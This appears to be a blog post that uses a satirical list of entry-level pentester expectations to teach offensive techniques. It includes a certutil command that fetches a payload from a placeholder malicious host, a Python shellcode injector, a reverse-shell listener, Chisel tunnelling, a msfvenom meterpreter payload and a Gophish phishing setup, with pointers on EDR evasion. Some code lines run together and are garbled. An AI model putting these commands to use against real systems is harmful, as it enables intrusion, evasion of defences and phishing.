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The cybersecurity field is evolving rapidly, and so are the (often exaggerated) expectations for entry-level penetration testers. Below is a humorous yet insightful breakdown of what the industry seems to demand, along with practical knowledge to help aspiring pentesters bridge the gap.
You Should Know:
1. Bypassing EDRs (Endpoint Detection & Response)
Modern EDR solutions like CrowdStrike, SentinelOne, and Microsoft Defender ATP are common obstacles. Here are some techniques to test defenses:
– Living Off The Land (LOLBAS): Use built-in Windows tools like certutil, bitsadmin, or `msbuild.exe` to evade detection.
certutil -urlcache -split -f http://malicious.site/payload.exe C:\Windows\Temp\payload.exe
– Process Injection: Use tools like Cobalt Strike or custom shellcode injectors.
Example: Shellcode injection via Python (for educational purposes) import ctypes shellcode = bytearray(b"\x90\x90\xCC\xC3...") Your shellcode here ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), shellcode, ctypes.c_int(len(shellcode)))
2. Zero-Day Exploitation
Finding and exploiting zero-days is complex, but understanding common vulnerability classes helps:
– Kernel Exploits: Research Windows/Linux Kernel CVEs (e.g., Dirty Pipe, EternalBlue).
Check kernel version (Linux) uname -a Search for exploits searchsploit "Linux Kernel 5.8"
3. Custom Exploit Frameworks
Instead of relying on Metasploit, learn to build your own tools:
– Python-based TCP Listener:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 4444))
s.listen(1)
conn, addr = s.accept()
print(f"Connection from {addr}")
while True:
cmd = input("$ ")
conn.send(cmd.encode())
print(conn.recv(1024).decode())
4. Pivoting Through Networks
- SSH Tunneling:
ssh -D 1080 user@target-ip SOCKS proxy ssh -L 8080:internal-ip:80 user@jump-host Port forwarding
- Chisel (Fast TCP/UDP Tunneling):
Attacker (server) ./chisel server -p 8080 --reverse Victim (client) ./chisel client attacker-ip:8080 R:8888:127.0.0.1:80
5. Phishing & Red Teaming
- Gophish Setup:
docker run -it -p 3333:3333 -p 80:80 gophish/gophish
- Custom Payloads with Msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=yourip LPORT=4444 -f exe -o payload.exe
What Undercode Say:
The cybersecurity industry often sets unrealistic expectations, but mastering fundamentals is key. Focus on:
– OSCP-like skills: Privilege escalation, network pivoting, and manual exploitation.
– EDR Evasion: Study AMSI bypass, unhooking, and direct syscalls.
– Scripting: Automate tasks in Python, PowerShell, or Bash.
– Bug Bounty Mindset: Hunt for vulnerabilities in web apps (SQLi, XSS, SSRF).
Expected Output:
A well-rounded pentester who understands both offensive techniques and defensive bypasses, capable of adapting to real-world scenarios.
Note: The original post was satirical, but the skills mentioned are valuable in real-world pentesting.
References:
Reported By: Ibrahim00 Entry – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
